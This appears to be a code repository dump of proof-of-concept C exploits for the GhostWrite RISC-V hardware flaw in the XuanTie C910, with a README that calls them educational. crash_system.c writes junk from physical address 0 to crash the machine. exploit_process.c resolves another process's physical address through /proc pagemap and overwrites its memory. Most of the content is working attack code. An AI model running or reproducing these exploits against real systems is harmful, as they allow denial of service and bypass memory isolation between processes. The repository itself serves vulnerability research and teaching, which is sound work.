├── OverwriteProcess ├── target_process.c └── exploit_process.c ├── CrashSystem └── crash_system.c └── README.md /OverwriteProcess/target_process.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int main() { 6 | int var = 42; // Variable to overwrite 7 | uint64_t virtual_address_var = (uint64_t)&var; 8 | pid_t pid = getpid(); 9 | 10 | // Infinite loop to print the PID, virtual address, and value of var every second 11 | while (1) { 12 | printf("\033[H\033[J"); // Clear the console 13 | 14 | // Print the PID and virtual address in normal white 15 | printf("\033[0m"); // Reset to normal (default) color 16 | printf("PID: %d\n", pid); 17 | printf("Virtual address (var): 0x%llx\n", virtual_address_var); 18 | 19 | // Check if var is equal to 42 to show it in green or red 20 | if (var == 42) { 21 | printf("\033[0;32m"); // Green 22 | } else { 23 | printf("\033[0;31m"); // Red 24 | } 25 | printf("Value of var: %d\n", var); 26 | 27 | // Reset color back to default after printing the value of var 28 | printf("\033[0m"); 29 | 30 | sleep(1); 31 | } 32 | 33 | return 0; 34 | } 35 | -------------------------------------------------------------------------------- /CrashSystem/crash_system.c: -------------------------------------------------------------------------------- 1 | // Compile: gcc crash_system.c -o crash_system -march="rv64gzve64x" 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | // Vulnerable assembly function that writes to physical memory 9 | void ghost_write(size_t physical_addr, uint8_t value) { 10 | asm volatile ( 11 | "mv t0, %0\n\t" // Load physical address into t0 12 | "mv a0, %1\n\t" // Load the value into a0 13 | 14 | // The next 3 instructions are relevant to the vulnerability 15 | "vsetvli zero, zero, e8, m1\n\t" 16 | "vmv.v.x v0, a0\n\t" 17 | 18 | // The vulnerable instruction 19 | // 0x10028027 encodes to the instruction vse128.v v0, 0(t0) 20 | // We can't use the vse128.v instruction directly since it's not technically supported 21 | ".fill 1, 4, 0x10028027\n\t" 22 | 23 | "fence" :: "r"(physical_addr), "r"(value) : "t0", "a0", "memory" 24 | ); 25 | } 26 | 27 | int main() { 28 | const size_t block_size = 200; // 200 byte blocks 29 | size_t phys_addr = 0; // Start writing at physical address 0 because what could possible go wrong? 30 | uint8_t value = 0xFF; 31 | 32 | printf("\033[0;31m"); // Red 33 | printf("Crashing system with GhostWrite...\n"); 34 | printf("\033[0m"); // Reset to normal (default) color 35 | 36 | while (1) { 37 | // Continuously write to physical memory starting at 0 (should immediately crash) 38 | for (size_t i = 0; i < block_size; i += 1) { 39 | ghost_write(phys_addr + i, value); 40 | } 41 | 42 | printf("Wrote to physical memory block starting at address: %lx\n", phys_addr); 43 | phys_addr += block_size; 44 | } 45 | 46 | return 0; 47 | } -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # GhostWrite Exploit :ghost: 2 | 3 | Welcome to the GhostWrite Exploits repository, where we use the GhostWrite RISC-V CPU vulnerability to directly manipulate physical memory! :computer: 4 | 5 | ## What is this repository? :mag_right: 6 | 7 | This repository contains two PoCs for exploiting hardware vulnerabilities in the XuanTie C910 processor: 8 | 9 | 1. **System Crash PoC**: Continuously writing junk data to physical memory, causing the system to crash. 10 | 2. **Inter-Process Memory Modification**: Exploiting physical memory access to modify the memory of a separate running process. 11 | 12 | These PoCs are based on the paper and research from [GhostWriteAttack.com](https://ghostwriteattack.com) by researchers at the CISPA Helmholtz Center for Information Security. 13 | 14 | ## Why is this important? :thinking: 15 | 16 | - **Hardware Vulnerabilities**: Unlike software bugs, hardware vulnerabilities like GhostWrite are significantly harder to patch and may have no solution. 17 | - **Physical Memory Access**: These PoCs demonstrate how access to physical memory can lead to system-wide control and crash scenarios. 18 | - **Learn & Experiment**: If you're a student or researcher, you can experiment with these vulnerabilities using real hardware. This is your opportunity to understand hardware exploitation and the risks it poses. 19 | 20 | ## Getting Started :runner: 21 | 22 | Here's how to get started with the PoCs: 23 | 24 | 1. **Clone this repository**: 25 | ```bash 26 | git clone https://github.com/LaurieWired/GhostWriteExploit.git 27 | ``` 28 | 2. **Choose a folder**: 29 | - **Crash PoC**: Explore the folder `CrashSystem/` to see how we crash the system by writing to physical memory. 30 | - **Memory Modification PoC**: Explore the folder `OverwriteProcess/` to see how one process can directly modify the memory of another. 31 | 3. **Build the code**: 32 | - To compile directly on the native RISC-V board: 33 | ```bash 34 | gcc ghostwrite.c -o ghostwrite -march="rv64gzve64x" 35 | ``` 36 | 4. **Run the PoCs**: 37 | - **Crash the system**: Run the system crash executable and see the CPU bug in action. 38 | - **Modify another process's memory**: Run the second PoC to witness how physical memory access can manipulate a separate process. 39 | 40 | ## Accompanying Video :video_camera: 41 | 42 | If you want more explanations of the vulnerability, watch the accompanying video on YouTube! 43 | 44 | - **GhostWrite Video**: [what happens when your CPU has a bug? (GhostWrite)](https://www.youtube.com/watch?v=qrk8fj7re-s) 45 | -------------------------------------------------------------------------------- /OverwriteProcess/exploit_process.c: -------------------------------------------------------------------------------- 1 | // Compile: gcc exploit_process.c -o exploit_process -march="rv64gzve64x" 2 | // Run: sudo ./exploit_process 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | #define PAGE_SHIFT 12 12 | #define PAGE_SIZE (1ULL << PAGE_SHIFT) 13 | #define PAGE_MASK (~(PAGE_SIZE - 1)) 14 | 15 | // Function to get the physical address based on the virtual address and the target PID 16 | uint64_t get_physical_address(uint64_t virtual_address, pid_t target_pid) { 17 | uint64_t page_frame_number = 0; 18 | uint64_t offset = virtual_address % PAGE_SIZE; 19 | 20 | // Build the pagemap path based on the target process's PID 21 | char pagemap_path[256]; 22 | snprintf(pagemap_path, sizeof(pagemap_path), "/proc/%d/pagemap", target_pid); 23 | printf("Pagemap path: %s\n", pagemap_path); 24 | 25 | // Open /proc//pagemap for the target process 26 | FILE *pagemap = fopen(pagemap_path, "rb"); 27 | if (pagemap == NULL) { 28 | perror("fopen"); 29 | return 0; 30 | } 31 | 32 | // Calculate the index of the page in pagemap 33 | uint64_t index = virtual_address / PAGE_SIZE * sizeof(uint64_t); 34 | printf("Virtual address: 0x%llx\n", virtual_address); 35 | printf("Calculated index in pagemap: 0x%llx\n", index); 36 | 37 | // Seek to the entry in pagemap 38 | if (fseek(pagemap, index, SEEK_SET) != 0) { 39 | perror("fseek"); 40 | fclose(pagemap); 41 | return 0; 42 | } 43 | 44 | // Read the entry from pagemap 45 | if (fread(&page_frame_number, sizeof(uint64_t), 1, pagemap) != 1) { 46 | perror("fread"); 47 | fclose(pagemap); 48 | return 0; 49 | } 50 | fclose(pagemap); 51 | 52 | // The PFN is in bits 0-54 of the entry 53 | if (page_frame_number & (1ULL << 63)) { 54 | // Mask the PFN to extract the physical page number 55 | page_frame_number &= 0x7FFFFFFFFFFFFF; // Mask the PFN 56 | printf("Page frame number (PFN): 0x%llx\n", page_frame_number); 57 | return (page_frame_number << PAGE_SHIFT) + offset; // Physical address 58 | } else { 59 | printf("Page not present in memory\n"); 60 | return 0; 61 | } 62 | } 63 | 64 | // Vulnerable assembly function that writes to physical memory 65 | void ghost_write(size_t physical_addr, uint8_t value) { 66 | asm volatile ( 67 | "mv t0, %0\n\t" // Load physical address into t0 68 | "mv a0, %1\n\t" // Load the value into a0 69 | 70 | // The next 3 instructions are relevant to the vulnerability 71 | "vsetvli zero, zero, e8, m1\n\t" 72 | "vmv.v.x v0, a0\n\t" 73 | 74 | // The vulnerable instruction 75 | // 0x10028027 encodes to the instruction vse128.v v0, 0(t0) 76 | // We can't use the vse128.v instruction directly since it's not technically supported 77 | ".fill 1, 4, 0x10028027\n\t" 78 | 79 | "fence" :: "r"(physical_addr), "r"(value) : "t0", "a0", "memory" 80 | ); 81 | } 82 | 83 | void ghost_write_overwrite_payload(size_t physical_addr) { 84 | uint8_t payload_bytes[] = { 0x2B, 0x00, 0x00, 0x00 }; // Print decimal 43 85 | 86 | for (int i = 0; i < 4; i++) { 87 | ghost_write(physical_addr++, payload_bytes[i]); 88 | } 89 | } 90 | 91 | int main(int argc, char *argv[]) { 92 | if (argc != 3) { 93 | printf("Usage: %s \n", argv[0]); 94 | return 1; 95 | } 96 | 97 | // Convert input string to a virtual address 98 | uint64_t virtual_address = strtoull(argv[1], NULL, 16); 99 | pid_t target_pid = atoi(argv[2]); 100 | 101 | printf("Target PID: %d\n", target_pid); 102 | 103 | // Calculate the physical address from the virtual address and target PID 104 | uint64_t physical_address = get_physical_address(virtual_address, target_pid); 105 | 106 | // Print the physical address 107 | if (physical_address != 0) { 108 | printf("Physical address: 0x%llx\n", physical_address); 109 | 110 | ghost_write_overwrite_payload(physical_address); 111 | printf("\033[0;32m"); // Green 112 | printf("Successfully overwrote target process\n"); 113 | } else { 114 | printf("\033[0;31m"); // Red 115 | printf("Failed to find physical address\n"); 116 | } 117 | 118 | return 0; 119 | } --------------------------------------------------------------------------------